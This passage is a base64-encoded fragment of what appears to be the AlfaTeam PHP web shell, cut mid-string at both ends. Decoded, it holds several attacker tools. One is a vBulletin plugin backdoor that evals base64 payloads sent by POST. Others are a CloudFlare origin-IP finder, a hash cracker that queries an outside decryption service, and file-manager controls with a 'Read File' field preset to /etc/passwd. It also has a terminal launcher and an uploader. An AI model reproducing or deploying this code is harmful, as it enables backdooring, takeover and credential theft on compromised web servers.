V4cGxvZGUoJG1hdGNoZXNbMF0sICR1cmwpOwokdXJsID0gJHVybFsxXTt9fQppZihpc19hcnJheSgkc2VydmVyKSkkc2VydmVyID0gJHNlcnZlclswXTsKZWNobyBfX3ByZSgpOwppZihwcmVnX21hdGNoKCcvY2xvdWRmbGFyZS9pJywgJHNlcnZlcikpCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7CmVsc2UKZWNobyAiXG5bK10gQ2xvdWRGbGFyZSB3YXNuJ3QgZGV0ZWN0ZWQsIHByb2NlZWRpbmcgYW55d2F5LlxuIjsKZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7CmVjaG8gIlsrXSBTZWFyY2hpbmcgZm9yIG1vcmUgSVAgYWRkcmVzc2VzLlxuXG48YnI+PGJyPiI7CmZvcigkeD0wOyR4PGNvdW50KCRzdWJzKTskeCsrKXsKJHNpdGUgPSAkc3Vic1skeF0gLiAkdXJsOwokaXAgPSBpc19pcHY0KGdldGhvc3RieW5hbWUoJHNpdGUpKTsKaWYoJGlwID09ICcoTnVsbCknKQpjb250aW51ZTsKZWNobyAiVHJ5aW5nIHskc2l0ZX06IHskaXB9XG48YnI+IjsKfQplY2hvICJcblsrXSBGaW5pc2hlZC5cbjxicj4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBpc19pcHY0KCRpcCl7CnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOwp9CmZ1bmN0aW9uIF9fYWxlcnQoJHMpewplY2hvICc8Y2VudGVyPicuX19wcmUoKS4kcy4nPC9jZW50ZXI+JzsKfQpmdW5jdGlvbiBjcmVhdGVfdGFibGUoJGRhdGEpewplY2hvICc8dGFibGUgYm9yZGVyPSIxIj4nOwpmb3JlYWNoICgkZGF0YSBhcyAka2V5ID0+ICR2YWwpewokYXJyYXkgPSBhcnJheSgpOwpmb3JlYWNoKCR2YWwgYXMgJGsgPT4gJHYpewokYXJyYXlbJGtdID0gJHY7Cn0KZWNobyAiPHRyPjx0ZD48ZGl2IGNsYXNzPSd0Ymx0eHQnPiIuJGFycmF5Wyd0ZE5hbWUnXS4iPC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSciLiRhcnJheVsnaWQnXS4iJyBuYW1lPSciLiRhcnJheVsnaW5wdXROYW1lJ10uIicgIi4oJGFycmF5WydwbGFjZWhvbGRlciddPydwbGFjZWhvbGRlcic6J3ZhbHVlJykuIj0nIi4kYXJyYXlbJ2lucHV0VmFsdWUnXS4iJyBzaXplPSciLiRhcnJheVsnaW5wdXRTaXplJ10uIicgIi4oJGFycmF5WydkaXNhYmxlZCddPydkaXNhYmxlZCc6JycpLiI+PC90ZD48L3RyPiI7Cn0KZWNobyAnPC90YWJsZT4nOwp9CmZ1bmN0aW9uIGFsZmFwaHAyeG1sKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgU2hlbGwgRm9yIHZCdWxsZXRpbiB8PC9kaXY+PC9wPjxmb3JtIG9uc3VibWl0PVwiZygncGhwMnhtbCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48YnI+PHRleHRhcmVhIHJvd3M9JzEyJyBjb2xzPSc3MCcgdHlwZT0ndGV4dCcgbmFtZT0nY29kZScgcGxhY2Vob2xkZXI9XCJpbnNlcnQgeW91ciBzaGVsbCBjb2RlXCI+PC90ZXh0YXJlYT48YnIvPjxici8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSYmJF9QT1NUWydhbGZhMiddPT0nPj4nKXsKZWNobyBfX3ByZSgpLiI8cD48Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzgwJz4iOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJJU08tODg1OS0xIj8+PHBsdWdpbnM+PHBsdWdpbiBhY3RpdmU9IjEiIHByb2R1Y3Q9InZidWxsZXRpbiI+PHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+PGhvb2tuYW1lPmluaXRfc3RhcnR1cDwvaG9va25hbWU+PHBocGNvZGU+PCFbQ0RBVEFbaWYgKHN0cnBvcygkX1NFUlZFUltcJ1BIUF9TRUxGXCddLCJzdWJzY3JpcHRpb25zLnBocCIpKXtldmFsKGJhc2U2NF9kZWNvZGUoXCcnLl9fWlc1amIyUmxjZygkX1BPU1RbJ2FsZmExJ10pLidcJykpO2V4aXQ7fV1dPjwvcGhwY29kZT48L3BsdWdpbj48L3BsdWdpbnM+JzsKZWNobyAnPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+JzsKfQplY2hvICc8L2NlbnRlcj48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNwY3JhY2soKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIFRvb2xzIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnKSI+fCBEZUNyeXB0ZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJykiPnwgSGFzaCBBbmFseXplciB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXT09J2RlYycpewokYWxnb3JpdGhtcyA9IGFycmF5KCdtZDUnPT4nTUQ1JywnbWQ0Jz0+J01ENCcsJ3NoYTEnPT4nU0hBMScsJ3NoYTI1Nic9PidTSEEyNTYnLCdzaGEzODQnPT4nU0hBMzg0Jywnc2hhNTEyJz0+J1NIQTUxMicsJ250bG0nPT4nTlRMTScpOwplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ3J5cHRlciB8PC9kaXY+PGJyPjxicj4KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsKZm9yZWFjaCgkYWxnb3JpdGhtcyBhcyAka2V5PT4kdmFsKXtlY2hvKCc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTt9CmVjaG8nPC9zZWxlY3Q+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJtZDUiIHNpemU9IjYwIiBpZD0idGV4dCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvZm9ybT48L2NlbnRlcj48YnI+JzsKaWYoJF9QT1NUWydhbGZhMyddID09ICc+PicpewokaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsKaWYoIWVtcHR5KCRoYXNoKSl7CiRoYXNoX3R5cGUgPSAkX1BPU1RbJ2FsZmE0J107CiRlbWFpbCA9ICJzb2xldmlzaWJsZUBnbWFpbC5jb20iOwokY29kZSA9ICI3YjlmYTc5ZjkyYzNjZDk2IjsKJHRhcmdldCA9ICJodHRwczovL21kNWRlY3J5cHQubmV0L0FwaS9hcGkucGhwP2hhc2g9Ii4kaGFzaC4iJmhhc2hfdHlwZT0iLiRoYXNoX3R5cGUuIiZlbWFpbD0iLiRlbWFpbC4iJmNvZGU9Ii4kY29kZTsKJHJlc3AgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRyZXNwPT0nJyl7CiRnZXQgPSBuZXcgQWxmYUNVUkwoKTsKJHJlc3AgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpOwp9CmVjaG8gX19wcmUoKS4nPGNlbnRlcj4nOwpzd2l0Y2goJHJlc3ApewoJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDEnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3UgZXhjZWVkZWQgdGhlIDQwMCBhbGxvd2VkIHJlcXVlc3QgcGVyIGRheTwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAzJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91ciByZXF1ZXN0IGluY2x1ZGVzIG1vcmUgdGhhbiA0MDAgaGFzaGVzLjwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA0Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIHR5cGUgb2YgaGFzaCB5b3UgcHJvdmlkZSBpbiB0aGUgYXJndW1lbnQgaGFzaF90eXBlIGRvZXNuJ3Qgc2VlbSB0byBiZSB2YWxpZDwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA1Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIGhhc2ggeW91IHByb3ZpZGUgZG9lc24ndCBzZWVtIHRvIG1hdGNoIHdpdGggdGhlIHR5cGUgb2YgaGFzaCB5b3Ugc2V0LjwvZm9udD48L2I+IjticmVhazsKfQppZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnJiYkcmVzcCE9JycpewplY2hvICI8Yj5SZXN1bHQ6IDxmb250IGNvbG9yPSdncmVlbic+Ii4kcmVzcC4iPC9mb250PjwvYj4iOwp9ZWxzZWlmKHN1YnN0cigkcmVzcCwwLDQpIT0nQ09ERScpewplY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5Ob1QgRm91bmQ8L2ZvbnQ+PGJyIC8+IjsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQp9Cn0KaWYoJF9QT1NUWydhbGZhMSddPT0nYW5hbHl6ZXInKXsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIEFuYWx5emVyIHw8L2Rpdj48L3A+Cjxmb3JtIG9uc3VibWl0PSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnLHRoaXMuaGFzaC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5IYXNoOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJoYXNoIiBzaXplPSI2MCIgaWQ9InRleHQiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCRfUE9TVFsnYWxmYTMnXSA9PSAnPj4nKXsKJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107CmlmKCFlbXB0eSgkaGFzaCkpewokY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwokcmVzcCA9ICRjdXJsLT5TZW5kKCJodHRwczovL21kNWRlY3J5cHQubmV0L2VuL0hhc2hGaW5kZXIvIiwicG9zdCIsImhhc2g9eyRoYXNofSZjcnlwdD1TZWFyY2giKTsKZWNobyhfX3ByZSgpLic8Y2VudGVyPicpOwppZihwcmVnX21hdGNoKCcjPGZpZWxkc2V0IGNsYXNzPSJ0cm91dmUiPiguKj8pPC9maWVsZHNldD4jJywkcmVzcCwkcykpewoJZWNobygnPGZvbnQgY29sb3I9ImdyZWVuIj4nLiRzWzFdLic8L2ZvbnQ+Jyk7Cn1lbHNlewoJZWNobygnPGZvbnQgY29sb3I9InJlZCI+Tm90IEZvdW5kLi4uITwvZm9udD4nKTsKfQplY2hvKCc8L2NlbnRlcj48YnI+Jyk7Cn0KfQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhZm9vdGVyKCl7CmlmKCFpc3NldCgkX1BPU1RbJ2FqYXgnXSkpewplY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPgo8dHI+Cjx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdta2ZpbGUnLCcnLCcnLCcnLCdmaWxlJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRmlsZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2YnIHZhbHVlPScnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTt0aGlzLmQudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPHRkIHdpZHRoPScyMiUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsdGhpcy5kZWwudmFsdWUpO3RoaXMuZGVsLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkRlbGV0ZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2RlbCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMTklJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdjaG1vZCcsJycsJycsJycsJ25vbmUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2htb2QgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1mIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2hhbmdlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIGlkPSdmb290ZXJfY3dkJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPHRkIGNvbHNwYW49JzInPjxmb3JtIG9uc3VibWl0PVwiZWRpdG9yKHRoaXMuZmlsZS52YWx1ZSwndmlldycsJycsJycsJycsJ2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5SZWFkIEZpbGUgOiA8L3NwYW4+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZScgdmFsdWU9Jy9ldGMvcGFzc3dkJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBzdHlsZT0nbWFyZ2luLXRvcDogMTBweDsnIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiIGF1dG9jb21wbGV0ZT0nb2ZmJz48c3Bhbj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkV4ZWN1dGUgOjwvc3Bhbj48YnI+PGJ1dHRvbiBvbkNsaWNrPSdhbGZhT3BlblBocFRlcm1pbmFsKCk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2Zvb3R0YWJsZSBhbGZhX2N1c3RvbV9jbWRfYnRuJz48aW1nIHN0eWxlPSd3aWR0aDoyOHB4O3ZlcnRpY2FsLWFsaWduOiBtaWRkbGU7JyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS90ZXJtaW5hbC5zdmcnPiBUZXJtaW5hbDwvYnV0dG9uPjxicj48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gb25zdWJtaXQ9J3UodGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZm9vdGVyX2Zvcm0nIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdGaWxlc01Bbic+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWpheCcgdmFsdWU9J3RydWUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3VwbG9hZEZpbGUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjaGFyc2V0JyB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+VXBsb2FkIGZpbGU6IDwvc3Bhbj48c3Bhbj48YnV0dG9uIGlkPSdhZGR1cCcgb25jbGljaz0nYWRkbmV3dXAoKTtyZXR1cm4gZmFsc2U7Jz48Yj4rPC9iPjwvYnV0dG9uPjwvc3Bhbj48cCBpZD0ncGZvb3RlcnVwJz48bGFiZWwgY2xhc3M9J2lucHV0ZmlsZScgZm9yPSdmb290ZXJ1cCc+PHNwYW4gaWQ9J19fZm5hbWV1cCc+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0nZm9vdGVydXAnIGNsYXNzPSd0b29sc0lucCcgdHlwZT0nZmlsZScgbmFtZT0nZltdJyBvbkNoYW5nZT0naGFuZGxldXAodGhpcywwKTsnIG11bHRpcGxlPjwvcD48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PGRpdiBpZD0nYWxmYS1jb3B5cmlnaHQnPjxzcGFuIGNsYXNzPSdjb3B5cmlnaHQnPlsgLi9BbGZhVGVhbSAmY29weTsgMjAxMi0iLmRhdGUoJ1knKS4iIF08L3NwYW4+PGJyPjxzcGFuPjxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZXJ0KFwiQlRDOiAxS0x0eThMVXFucXNYa00zUWt2eTJLcHY0Z0x0N1VnY3lvXCIpOycgc3R5bGU9J2NvbG9yOiAjRTkxRTYzO3RleHQtZGVjb3JhdGlvbjogbm9uZTsnPkRvbmF0ZSBVcyAhPC9hPjwvc3Bhbj4gPHNwYW4gc3R5bGU9J2xldHRlci1zcGFjaW5nOiAycHg7Y29sb3I6ICNkZmZmMDA7Jz5zb2xldmlzaWJsZVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9zb2xldmlzaWJsZSc+QHNvbGV2aXNpYmxlPC9hPjwvc3Bhbj48L2Rpdj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KCjxkaXYgaWQ9J29wdGlvbnNfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJvcHRpb25zX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDoxMDAlOycgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInPjxkaXYgY2xhc3M9J29wdGlvbnNfdGFiJz48L2Rpdj48ZGl2IGNsYXNzPSdvcHRpb25zX2NvbnRlbnQnIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtvdmVyZmxvdzphdXRvOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3cnIHN0eWxlPSdiYWNrZ3JvdW5kOnJnYmEoMCwgMCwgMCwgMC42OSk7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz5TcWwgTWFuYWdlcjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDttYXgtaGVpZ2h0OjkwJTsnPjxkaXYgY2xhc3M9J3NxbC10YWJzJz48L2Rpdj48ZGl2IGNsYXNzPSdzcWwtY29udGVudHMnIHN0eWxlPSdtYXgtaGVpZ2h0OiA4NXZoOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdjZ2lsb2FkZXInPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiY2dpbG9hZGVyXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImNnaWxvYWRlclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWZyYW1lJyBzdHlsZT0ncG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDsnPjxkaXYgY2xhc3M9J3Rlcm1pbmFsLXRhYnMnPjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDo5MCU7JyBjbGFzcz0ndGVybWluYWwtY29udGVudHMnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3InIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nZWRpdG9yLXBhdGgnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZWRpdG9yXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImVkaXRvclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgb25jbGljaz0naGlzdG9yeVBhbmVsQ29udHJvbGxlcih0aGlzKTsnIG1vZGU9J3Zpc2libGUnIGNsYXNzPSdoaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXInPjw8PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWV4cGxvcmVyJz48ZGl2IGNsYXNzPSdoaGVhZGVyJz48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsZWFyJyBvbmNsaWNrPSdjbGVhckVkaXRvckhpc3RvcnkoKTsnPkNsZWFyIGFsbDwvZGl2PjxkaXYgY2xhc3M9J2hoZWFkZXItdGV4dCc+SGlzdG9yeTwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1zZWFyY2gnPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBpZD0nc2VhcmNoLWlucHV0JyBwbGFjZWhvbGRlcj0nc2VhcmNoJz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWxpc3QnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1tb2RhbCc+PGRpdiBjbGFzcz0nZWRpdG9yLWJvZHknPjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50Jz48ZGl2IGNsYXNzPSdlZGl0b3ItdGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQtaG9sZGVyJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0ndXBkYXRlLWNvbnRlbnQnPjwvZGl2Pgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCcgc3R5bGU9J3RvcDogMTVweDsnPkRhdGFiYXNlPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J29wdGlvbnNfd2luZG93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcIm9wdGlvbnNfd2luZG93XCIpOyc+PGR